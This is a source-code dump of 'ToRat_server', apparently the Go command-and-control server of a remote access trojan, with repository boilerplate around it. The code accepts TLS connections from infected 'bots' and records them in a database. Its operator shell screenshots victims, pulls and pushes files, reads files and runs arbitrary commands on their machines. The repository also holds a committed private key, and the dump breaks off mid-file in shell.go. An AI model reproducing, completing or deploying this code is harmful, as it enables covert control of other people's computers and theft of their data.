├── main.go ├── server ├── util.go ├── model.go ├── runcmd.go ├── communication.go ├── server.go └── shell.go ├── README.md ├── go.mod ├── .circleci └── config.yml ├── .github └── ISSUE_TEMPLATE │ ├── feature_request.md │ └── bug_report.md ├── cert.pem ├── LICENSE ├── banner.txt ├── key.pem ├── crypto └── crypto.go ├── CODE_OF_CONDUCT.md └── go.sum /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "github.com/lu4p/ToRat_server/server" 4 | import _ "github.com/dimiro1/banner/autoload" 5 | 6 | func main() { 7 | go server.Start() 8 | server.Shell() 9 | } 10 | -------------------------------------------------------------------------------- /server/util.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/fatih/color" 7 | ) 8 | 9 | var ( 10 | blue = color.New(color.FgHiBlue).SprintFunc() 11 | red = color.New(color.FgHiRed).SprintFunc() 12 | green = color.New(color.FgHiGreen).SprintFunc() 13 | ) 14 | 15 | func getTimeSt() string { 16 | now := time.Now() 17 | return now.Format("2006-01-02_15:04:05") 18 | } 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![License](https://img.shields.io/github/license/lu4p/ToRat_server.svg)](https://unlicense.org/) 2 | [![CircleCI](https://circleci.com/gh/lu4p/ToRat_server.svg?style=svg)](https://circleci.com/gh/lu4p/ToRat_server) 3 | ## Build Server 4 | To build the Server run 5 | ``` 6 | cd ~/go/src/github.com/lu4p/ToRat_server 7 | go build 8 | ``` 9 | 10 | ### [README](https://github.com/lu4p/ToRat/blob/master/README.md) 11 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/lu4p/ToRat_server 2 | 3 | go 1.12 4 | 5 | require ( 6 | github.com/abiosoft/ishell v2.0.0+incompatible 7 | github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db // indirect 8 | github.com/fatih/color v1.7.0 9 | github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 // indirect 10 | github.com/jinzhu/gorm v1.9.11 11 | github.com/mattn/go-colorable v0.1.4 // indirect 12 | github.com/mattn/go-isatty v0.0.10 // indirect 13 | ) 14 | -------------------------------------------------------------------------------- /.circleci/config.yml: -------------------------------------------------------------------------------- 1 | # Golang CircleCI 2.0 configuration file 2 | # 3 | # Check https://circleci.com/docs/2.0/language-go/ for more details 4 | version: 2 5 | jobs: 6 | build: 7 | docker: 8 | # specify the version 9 | - image: circleci/golang:1.9 10 | 11 | working_directory: /go/src/github.com/lu4p/ToRat_server 12 | steps: 13 | - checkout 14 | 15 | # specify any bash command here prefixed with `run: ` 16 | - run: go get -v -t -d github.com/lu4p/ToRat_server 17 | - run: go build -v 18 | -------------------------------------------------------------------------------- /server/model.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "net" 5 | "time" 6 | 7 | "github.com/jinzhu/gorm" 8 | ) 9 | 10 | type client struct { 11 | gorm.Model 12 | Hostname string 13 | Name string 14 | Path string 15 | IP string 16 | Location string 17 | LastConn time.Time 18 | Active bool 19 | MacAddr string 20 | OS string 21 | CPU string 22 | GPU string 23 | RAM string 24 | Drives string 25 | } 26 | 27 | type activeClient struct { 28 | Hostname string 29 | Conn net.Conn 30 | Client *client 31 | } 32 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: "[New Feature]" 5 | labels: enhancement 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /server/runcmd.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | func (c *activeClient) runCommand(command string, print bool) (string, error) { 8 | err := c.sendSt(command) 9 | if err != nil { 10 | if print { 11 | fmt.Println("Error while running command:", err) 12 | } 13 | return "", err 14 | } 15 | output, err := c.recvSt() 16 | if err != nil { 17 | fmt.Println("err") 18 | return "", err 19 | } 20 | if print { 21 | fmt.Println(output) 22 | } 23 | return output, nil 24 | } 25 | 26 | func (c *activeClient) runCommandByte(command string) ([]byte, error) { 27 | err := c.sendSt(command) 28 | if err != nil { 29 | return nil, err 30 | } 31 | b, err := c.recv() 32 | if err != nil { 33 | return nil, err 34 | } 35 | return b, nil 36 | } 37 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: "[BUG]" 5 | labels: bug 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Server (please complete the following information):** 27 | - OS: [e.g. Linux] 28 | - Distro: [e.g. Ubuntu] 29 | - Version [e.g. 22] 30 | 31 | **Additional context** 32 | Add any other context about the problem here. 33 | -------------------------------------------------------------------------------- /cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIC9TCCAd2gAwIBAgIRAJnYBoyBbq4IeImXlHlILlIwDQYJKoZIhvcNAQELBQAw 3 | EjEQMA4GA1UEChMHQWNtZSBDbzAeFw0xOTAzMzAxMzM0NTlaFw0yMDAzMjkxMzM0 4 | NTlaMBIxEDAOBgNVBAoTB0FjbWUgQ28wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw 5 | ggEKAoIBAQDXP6osLCTMNCxpAbNjuHmig8Cwl6tEL7Uyvz+B5hUDdnFM9ymuaC3C 6 | c0bEkvUZqOMLZy97bUFrRygEcif1T7li8MqPipI2zE22AluQSEQNZGjav7k9TSVB 7 | w0LQCPeptl4sEj0+NaOiCAyUqsYtXllILm9kCWzrVoIfC/igQRwqGj7Q3h3Xp0pB 8 | +Vvcs+0k+XLLOjiPENObzbiGALHYI7VDzACXJ0ivfNjBwxInw/XBw+/TxbN5FBYH 9 | Q7q/XpXnk7y8ruLd5wHeu3dbsPuy+4vM4q20JgaLvgnzCAPU5l6cjowb0vYyN01m 10 | Q4H7C/FqTAIJgBJ1qTOdha3FWQUd0E43AgMBAAGjRjBEMA4GA1UdDwEB/wQEAwIF 11 | oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMA8GA1UdEQQIMAaC 12 | BHRlc3QwDQYJKoZIhvcNAQELBQADggEBAIC1QMWeIjXQjfMzYpuaAvP/tro2QGs/ 13 | IxtMfXI5MdZuZ30U0ffpEydtNX6MeVLSDR1oTPdbvoYjejnFAvPobVQ9/ejX/N0f 14 | kW4mm8UYCtMKUxkpFINoIO61TJ5Y8m2tmuJ0zj8//E1UD7oCsUblxE7MIhEbt1QG 15 | 1N5q7ue8u0ub7zfYyGqnT2xrGe5OD0lwjdAUKff9pFtWELB6o6+z7yJnbNWV5q3A 16 | cTAkfPGVyVlTYDr02IZ8DH9D/qwnVpOXVVl2VF5kihZ+Guv8+7v/t/MGuhi1ajsE 17 | eF8Qw3B3WID4ZkzJeh1OeW7hlvKx8HTDTliGGjIQQgJe+YNLngzdGH8= 18 | -----END CERTIFICATE----- 19 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /banner.txt: -------------------------------------------------------------------------------- 1 | {{.AnsiColor.BrightBlue}} 2 | Welcome to 3 | {{.AnsiColor.BrightRed}} 4 | 5 | TTTTTTTTTTTTTTTTTTTTTTT RRRRRRRRRRRRRRRRR tttt 6 | T:::::::::::::::::::::T R::::::::::::::::R ttt:::t 7 | T:::::::::::::::::::::T R::::::RRRRRR:::::R t:::::t 8 | T:::::TT:::::::TT:::::T RR:::::R R:::::R t:::::t 9 | TTTTTT T:::::T TTTTTTooooooooooo R::::R R:::::R aaaaaaaaaaaaa ttttttt:::::ttttttt 10 | T:::::T oo:::::::::::oo R::::R R:::::R a::::::::::::a t:::::::::::::::::t 11 | T:::::T o:::::::::::::::o R::::RRRRRR:::::R aaaaaaaaa:::::at:::::::::::::::::t 12 | T:::::T o:::::ooooo:::::o R:::::::::::::RR a::::atttttt:::::::tttttt 13 | T:::::T o::::o o::::o R::::RRRRRR:::::R aaaaaaa:::::a t:::::t 14 | T:::::T o::::o o::::o R::::R R:::::R aa::::::::::::a t:::::t 15 | T:::::T o::::o o::::o R::::R R:::::R a::::aaaa::::::a t:::::t 16 | T:::::T o::::o o::::o R::::R R:::::Ra::::a a:::::a t:::::t tttttt 17 | TT:::::::TT o:::::ooooo:::::oRR:::::R R:::::Ra::::a a:::::a t::::::tttt:::::t 18 | T:::::::::T o:::::::::::::::oR::::::R R:::::Ra:::::aaaa::::::a tt::::::::::::::t 19 | T:::::::::T oo:::::::::::oo R::::::R R:::::R a::::::::::aa:::a tt:::::::::::tt 20 | TTTTTTTTTTT ooooooooooo RRRRRRRR RRRRRRR aaaaaaaaaa aaaa ttttttttttt 21 | 22 | {{ .AnsiColor.Default }} 23 | -------------------------------------------------------------------------------- /key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEpAIBAAKCAQEA1z+qLCwkzDQsaQGzY7h5ooPAsJerRC+1Mr8/geYVA3ZxTPcp 3 | rmgtwnNGxJL1GajjC2cve21Ba0coBHIn9U+5YvDKj4qSNsxNtgJbkEhEDWRo2r+5 4 | PU0lQcNC0Aj3qbZeLBI9PjWjoggMlKrGLV5ZSC5vZAls61aCHwv4oEEcKho+0N4d 5 | 16dKQflb3LPtJPlyyzo4jxDTm824hgCx2CO1Q8wAlydIr3zYwcMSJ8P1wcPv08Wz 6 | eRQWB0O6v16V55O8vK7i3ecB3rt3W7D7svuLzOKttCYGi74J8wgD1OZenI6MG9L2 7 | MjdNZkOB+wvxakwCCYASdakznYWtxVkFHdBONwIDAQABAoIBAQCWyhPVpAsXPsmJ 8 | ulZIWphjX/ch/u5M8zr11QKRZnR8G4Jdz5xUgMjlusnttaGcmzKK73tU9QHqPEvt 9 | aWdSs8oEZPkSO5oYZ2FdSyOH3QhHdXr7G2qSZjPecQKiKFYPfyFTsGdU6FC8lvTx 10 | RP1WFQ1owpboNq4l41F+nG1NHq+zUauAEAZeg7W6BtUuKiw/0oY7Yz+A4lXKpYHa 11 | 5C98HHPtsXp15XD6kaFGXn6q2b0JBV8Qm6VD490bYdam6QEMLPKNrNhtzMNi9zJD 12 | tp9IO42TuojZOihfSQfTJ5RKY0MT2D1o98LrNh82q6KS9vaBpgY/faFgMDi//uh8 13 | +YxPgPdpAoGBAP7/hztQM3LMVE8lW4yR/qj1IDvjmlmAxkXY12Tn2CG0WH09R2Al 14 | RTmsswug/4PbNGL1oI2K4EmRI1+MSV0SIql625mV/OuyPjfrgKqM/k5nZQnbaj0C 15 | INRJxia3JP/it2r6uo+30BBlkiz4NbC1OKBEJnNpwe+wssq399OTiqLTAoGBANgY 16 | KEXLtTxWJ2YYEIznRfxzQjDLJYVQPqztPZV98suGoh8/n5QkNNhudsepHm5fUtgE 17 | BNpHH0dsEU0D/Wg5JXMJzQ08IZg/LUDOC3Fg5pAy1QeQS62mRFav0tTyk8crZNkG 18 | WKRgpcEMnAZY1pccFXk3Eso+rNcdG7qqeOaulOCNAoGAbrww0cUmUngBNM2YUBcm 19 | a+DnOprAcJXHhJWCFEPKS/ixZNGzqUEGKuGgbzBfRbdvrHnWWyEv/UKWBew5/7zc 20 | aJT9wFiuGPyyoD4ZBfdsiEfGTN2H6S5/azEOZ8mou6aM2FxBoB/GrxgsvnKbfj10 21 | dcSingQTQC+PtRDnAm5UChkCgYBDmCrgyjvCx+BDGzvyF1XZBeSqhqER9mvkg8FD 22 | xcXwzAhiZfBw0nKFUOhuxAP02nR7haZO8PhjyvYOdTULKPUB6wrtHOYVTY3GO61w 23 | pbL5YC0q1IQXqW6u/wif+9El9/jvugB4SpMOs/cKNTfKxMoixItoH/rIvx4xYam3 24 | 3txK8QKBgQCXZ/WrRZnR+9dOfDq+hS0qx2w7yJzz150SpvECtmTlNtnE8nvqiF4c 25 | xI762+PDxNbwm53sZVoJ3aR0YyX9G8SgIAbnhITrphsp3sdwll+Vkfr9jwVSmKuI 26 | o/I+ZRvllIRflfnqiI/UJZpeknQE5Wa3PZQCsOof5x3jSEQYFrzQAA== 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /crypto/crypto.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "crypto/rsa" 8 | "crypto/sha256" 9 | "crypto/x509" 10 | "encoding/pem" 11 | "errors" 12 | "fmt" 13 | "io/ioutil" 14 | "log" 15 | ) 16 | 17 | var privateKey = loadPrivateKey() 18 | 19 | func loadPrivateKey() *rsa.PrivateKey { 20 | key, err := ioutil.ReadFile("key.pem") 21 | if err != nil { 22 | log.Println("err read", err) 23 | return nil 24 | } 25 | block, _ := pem.Decode(key) 26 | priv, err := x509.ParsePKCS1PrivateKey(block.Bytes) 27 | if err != nil { 28 | fmt.Println("Could not parse rsakey", err) 29 | return nil 30 | } 31 | return priv 32 | } 33 | 34 | // DecRsa decrypts RSA-encrypted data 35 | func DecRsa(encData []byte) ([]byte, error) { 36 | rng := rand.Reader 37 | decData, err := rsa.DecryptOAEP(sha256.New(), rng, privateKey, encData, nil) 38 | 39 | if err != nil { 40 | log.Println("[!] Rsa:", err) 41 | return nil, err 42 | } 43 | return decData, nil 44 | } 45 | 46 | // DecAes decrypts data encrypted with AES 47 | func DecAes(encData []byte, aeskey []byte) ([]byte, error) { 48 | block, err := aes.NewCipher(aeskey) 49 | if err != nil { 50 | return nil, err 51 | } 52 | 53 | aesgcm, err := cipher.NewGCM(block) 54 | if err != nil { 55 | return nil, err 56 | } 57 | 58 | plaintext, err := aesgcm.Open(nil, encData[:12], encData[12:], nil) 59 | if err != nil { 60 | return nil, err 61 | } 62 | return plaintext, nil 63 | } 64 | 65 | // DecAsym decypts asymetric encryption (2048 bit RSA + AES) 66 | func DecAsym(encData []byte) ([]byte, error) { 67 | if len(encData) < 256 { 68 | return nil, errors.New("Unsufficent AesKey length") 69 | } 70 | encAeskey := encData[:256] 71 | encContent := encData[256:] 72 | log.Println("before rsa") 73 | aeskey, err := DecRsa(encAeskey) 74 | if err != nil { 75 | return nil, err 76 | } 77 | log.Println("after rsa") 78 | return DecAes(encContent, aeskey) 79 | } 80 | -------------------------------------------------------------------------------- /server/communication.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "encoding/binary" 5 | "errors" 6 | "fmt" 7 | "io/ioutil" 8 | "path/filepath" 9 | ) 10 | 11 | const buffsize = 4096 12 | 13 | func (c *activeClient) recv() ([]byte, error) { 14 | var size int64 15 | err := binary.Read(c.Conn, binary.LittleEndian, &size) 16 | if err != nil { 17 | fmt.Println("err:", err) 18 | return nil, err 19 | } 20 | var fullbuff []byte 21 | for { 22 | buff := make([]byte, buffsize) 23 | if size < buffsize { 24 | buff = make([]byte, size) 25 | } 26 | int, err := c.Conn.Read(buff) 27 | if err != nil { 28 | return nil, err 29 | } 30 | fullbuff = append(fullbuff, buff[:int]...) 31 | size -= int64(int) 32 | if size == 0 { 33 | break 34 | } 35 | } 36 | return fullbuff, nil 37 | } 38 | 39 | func (c *activeClient) recvSt() (string, error) { 40 | recv, err := c.recv() 41 | if err != nil { 42 | return "", err 43 | } 44 | return string(recv), nil 45 | } 46 | 47 | func (c *activeClient) send(data []byte) error { 48 | size := len(data) 49 | err := binary.Write(c.Conn, binary.LittleEndian, int64(size)) 50 | if err != nil { 51 | fmt.Println("err:", err) 52 | return err 53 | 54 | } 55 | _, err = c.Conn.Write(data) 56 | return err 57 | 58 | } 59 | 60 | func (c *activeClient) sendSt(cmdout string) error { 61 | return c.send([]byte(cmdout)) 62 | } 63 | 64 | func (c *activeClient) getFile(filename string) error { 65 | if filename == "screen" { 66 | c.sendSt("screen") 67 | filename = getTimeSt() + ".png" 68 | } else { 69 | c.sendSt("down " + filename) 70 | } 71 | data, err := c.recv() 72 | if err != nil { 73 | return err 74 | } 75 | if string(data) == "err" { 76 | return errors.New("[!] File does not exist or permission denied") 77 | } 78 | path := filepath.Join(c.Client.Path, filename) 79 | err = ioutil.WriteFile(path, data, 0666) 80 | if err != nil { 81 | return err 82 | } 83 | return nil 84 | } 85 | 86 | func (c *activeClient) sendFile(filename string) error { 87 | c.sendSt("up " + filename) 88 | content, err := ioutil.ReadFile(filename) 89 | if err != nil { 90 | return err 91 | } 92 | err = c.send(content) 93 | if err != nil { 94 | return err 95 | } 96 | return nil 97 | } 98 | -------------------------------------------------------------------------------- /server/server.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "crypto/tls" 5 | "fmt" 6 | "log" 7 | "net" 8 | "os" 9 | "path/filepath" 10 | "strconv" 11 | 12 | "github.com/fatih/color" 13 | "github.com/jinzhu/gorm" 14 | _ "github.com/jinzhu/gorm/dialects/sqlite" //sqlite 15 | "github.com/lu4p/ToRat_server/crypto" 16 | ) 17 | 18 | const port = ":1338" 19 | 20 | var db *gorm.DB 21 | 22 | var activeClients []activeClient 23 | 24 | // Start runs the server 25 | func Start() { 26 | db, _ = gorm.Open("sqlite3", "ToRat.db") 27 | defer db.Close() 28 | 29 | // Migrate the schema 30 | db.AutoMigrate(&client{}) 31 | 32 | cert, err := tls.LoadX509KeyPair("cert.pem", "key.pem") 33 | if err != nil { 34 | log.Println("could not load cert", err) 35 | return 36 | } 37 | config := tls.Config{Certificates: []tls.Certificate{cert}} 38 | ln, err := net.Listen("tcp", port) 39 | if err != nil { 40 | fmt.Println(err) 41 | return 42 | } 43 | for { 44 | conn, err := ln.Accept() 45 | if err != nil { 46 | log.Println("accepting failed:", err) 47 | continue 48 | } 49 | //log.Println("got new connection") 50 | tlsconn := tls.Server(conn, &config) 51 | go accept(tlsconn) 52 | } 53 | } 54 | 55 | func accept(conn net.Conn) { 56 | var c activeClient 57 | c.Conn = conn 58 | encHostname, err := c.runCommandByte("hostname") 59 | if err != nil { 60 | log.Println("Invalid Hostname", err) 61 | return 62 | } 63 | log.Println("Len Hostname", len(encHostname)) 64 | hostname, err := crypto.DecAsym(encHostname) 65 | if err != nil { 66 | log.Println("Invalid Hostname", err) 67 | return 68 | } 69 | c.Hostname = string(hostname) 70 | c.Client = &client{Hostname: string(hostname), Path: filepath.Join("bots", c.Hostname)} 71 | db.FirstOrCreate(&c.Client, client{Hostname: string(hostname)}) 72 | log.Println("success") 73 | 74 | if _, err = os.Stat(c.Client.Path); err != nil { 75 | os.MkdirAll(c.Client.Path, os.ModePerm) 76 | } 77 | if c.Client.Name == "" { 78 | c.Client.Name = c.Client.Hostname 79 | } 80 | db.Save(&c.Client) 81 | activeClients = append(activeClients, c) 82 | fmt.Println(green("[+] New Client"), blue(c.Client.Name), green("connected!")) 83 | } 84 | 85 | func listConn() []string { 86 | var clients []string 87 | for i, c := range activeClients { 88 | str := strconv.Itoa(i) + "\t" + c.Client.Hostname + "\t" + c.Client.Name 89 | clients = append(clients, str) 90 | } 91 | return clients 92 | } 93 | 94 | func printClients() { 95 | color.HiCyan("Clients:") 96 | list := listConn() 97 | for _, client := range list { 98 | color.Cyan(client) 99 | } 100 | } 101 | 102 | func getClient(target int) *activeClient { 103 | return &activeClients[target] 104 | } 105 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, sex characteristics, gender identity and expression, 9 | level of experience, education, socio-economic status, nationality, personal 10 | appearance, race, religion, or sexual identity and orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at lu4p@protonmail.com. All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html 72 | 73 | [homepage]: https://www.contributor-covenant.org 74 | 75 | For answers to common questions about this code of conduct, see 76 | https://www.contributor-covenant.org/faq 77 | -------------------------------------------------------------------------------- /server/shell.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strings" 7 | 8 | "github.com/abiosoft/ishell" 9 | "github.com/fatih/color" 10 | ) 11 | 12 | // Shell interactive shell 13 | func Shell() { 14 | shell := ishell.New() 15 | cwd, err := os.Getwd() 16 | if err != nil { 17 | panic(err) 18 | } 19 | 20 | shell.SetPrompt(blue(cwd) + "$ ") 21 | 22 | shell.AddCmd(&ishell.Cmd{ 23 | Name: "select", 24 | Func: func(c *ishell.Context) { 25 | if len(activeClients) == 0 { 26 | color.HiRed("No clients yet!") 27 | return 28 | } 29 | choice := c.MultiChoice(listConn(), "Select client to interact with") 30 | client := getClient(choice) 31 | client.shellClient() 32 | }, 33 | Help: "interact with a client", 34 | }) 35 | shell.AddCmd(&ishell.Cmd{ 36 | Name: "list", 37 | Func: func(c *ishell.Context) { 38 | if len(activeClients) == 0 { 39 | color.HiRed("No clients yet!") 40 | return 41 | } 42 | printClients() 43 | }, 44 | Help: "list all connected clients", 45 | }) 46 | shell.AddCmd(&ishell.Cmd{ 47 | Name: "alias", 48 | Func: func(c *ishell.Context) { 49 | if len(activeClients) == 0 { 50 | color.HiRed("No clients yet!") 51 | return 52 | } 53 | choice := c.MultiChoice(listConn(), "Select client to give an alias") 54 | fmt.Println("Type an alias for selected client") 55 | name := c.ReadLine() 56 | client := activeClients[choice] 57 | client.Client.Name = name 58 | db.Save(&client.Client) 59 | }, 60 | Help: "give a client an alias", 61 | }) 62 | shell.AddCmd(&ishell.Cmd{ 63 | Name: "cd", 64 | Func: func(c *ishell.Context) { 65 | os.Chdir(strings.Join(c.Args, " ")) 66 | cwd, err := os.Getwd() 67 | if err != nil { 68 | panic(err) 69 | } 70 | 71 | shell.SetPrompt(blue(cwd) + "$ ") 72 | 73 | }, 74 | Help: "change the working directory of the server", 75 | }) 76 | shell.AddCmd(&ishell.Cmd{ 77 | Name: "exit", 78 | Func: func(c *ishell.Context) { 79 | color.HiRed("exiting...") 80 | c.Stop() 81 | }, 82 | Help: "exit the server", 83 | }) 84 | shell.Run() 85 | } 86 | 87 | func (client activeClient) shellClient() { 88 | shell := ishell.New() 89 | cwd, err := client.runCommand("cwd", false) 90 | if err != nil { 91 | color.Red("[!] Could not get the cwd of the client!") 92 | return 93 | } 94 | shell.SetPrompt(blue(cwd) + "$ ") 95 | listdir := client.ls() 96 | shell.AddCmd(&ishell.Cmd{ 97 | Name: "cd", 98 | Func: func(c *ishell.Context) { 99 | cwd, err := client.runCommand("cd "+strings.Join(c.Args, " "), false) 100 | if err != nil { 101 | color.Red("[!] Could not get cwd") 102 | return 103 | } 104 | shell.SetPrompt(blue(cwd) + "$ ") 105 | listdir = client.ls() 106 | }, 107 | Completer: func([]string) []string { 108 | return listdir 109 | }, 110 | Help: "change the working directory of the client", 111 | }) 112 | shell.AddCmd(&ishell.Cmd{ 113 | Name: "ls", 114 | Func: func(c *ishell.Context) { 115 | list, err := client.runCommand("ls", false) 116 | if err != nil { 117 | color.HiRed("[!] Encoutered err listing dir") 118 | return 119 | } 120 | println(strings.Replace(list, ";", "\n", -1)) 121 | }, 122 | Help: "list the content of the working directory of the client", 123 | }) 124 | 125 | shell.AddCmd(&ishell.Cmd{ 126 | Name: "screen", 127 | Func: func(c *ishell.Context) { 128 | c.ProgressBar().Indeterminate(true) 129 | c.ProgressBar().Start() 130 | err := client.getFile("screen") 131 | if err != nil { 132 | c.ProgressBar().Final(red("[!] Screenshot failed")) 133 | c.ProgressBar().Stop() 134 | } 135 | c.ProgressBar().Final(green("[+] Screenshot received")) 136 | c.ProgressBar().Stop() 137 | }, 138 | Help: "take a screenshot of the client and upload it to the server", 139 | }) 140 | 141 | shell.AddCmd(&ishell.Cmd{ 142 | Name: "down", 143 | Func: func(c *ishell.Context) { 144 | c.ProgressBar().Indeterminate(true) 145 | c.ProgressBar().Start() 146 | err := client.getFile(strings.Join(c.Args, " ")) 147 | if err != nil { 148 | c.ProgressBar().Final(red("[!] Download failed")) 149 | c.ProgressBar().Stop() 150 | } 151 | c.ProgressBar().Final(green("[+] Download received")) 152 | c.ProgressBar().Stop() 153 | }, 154 | Help: "download a file from the client: usage down ", 155 | Completer: func([]string) []string { 156 | return listdir 157 | }, 158 | }) 159 | 160 | shell.AddCmd(&ishell.Cmd{ 161 | Name: "up", 162 | Func: func(c *ishell.Context) { 163 | c.ProgressBar().Indeterminate(true) 164 | c.ProgressBar().Start() 165 | err := client.sendFile(strings.Join(c.Args, " ")) 166 | if err != nil { 167 | c.ProgressBar().Final(red("[!] Upload failed")) 168 | c.ProgressBar().Stop() 169 | } 170 | c.ProgressBar().Final(green("[+] Upload Successful")) 171 | c.ProgressBar().Stop() 172 | }, 173 | Help: "upload a file from the cwd of the Server to cwd of the client: usage up ", 174 | }) 175 | 176 | shell.AddCmd(&ishell.Cmd{ 177 | Name: "sync", 178 | Func: func(c *ishell.Context) { 179 | 180 | }, 181 | Help: "sync with the client", 182 | }) 183 | shell.AddCmd(&ishell.Cmd{ 184 | Name: "cat", 185 | Func: func(c *ishell.Context) { 186 | client.runCommand("cat "+strings.Join(c.Args, " "), true) 187 | }, 188 | Help: "print the content of a file: usage cat ", 189 | Completer: func([]string) []string { 190 | return listdir 191 | }, 192 | }) 193 | shell.AddCmd(&ishell.Cmd{ 194 | Name: "escape", 195 | Func: func(c *ishell.Context) { 196 | client.runCommand(strings.Join(c.Args, " "), true) 197 | }, 198 | Help: "escape a command and run it natively on client", 199 | }) 200 | shell.AddCmd(&ishell.Cmd{ 201 | Name: "reconnect", 202 | Func: func(c *ishell.Context) { 203 | client.runCommand("reconnect", false) 204 | c.Stop() 205 | shell.Close() 206 | }, 207 | Help: "tell the client to reconnect", 208 | }) 209 | shell.AddCmd(&ishell.Cmd{ 210 | Name: 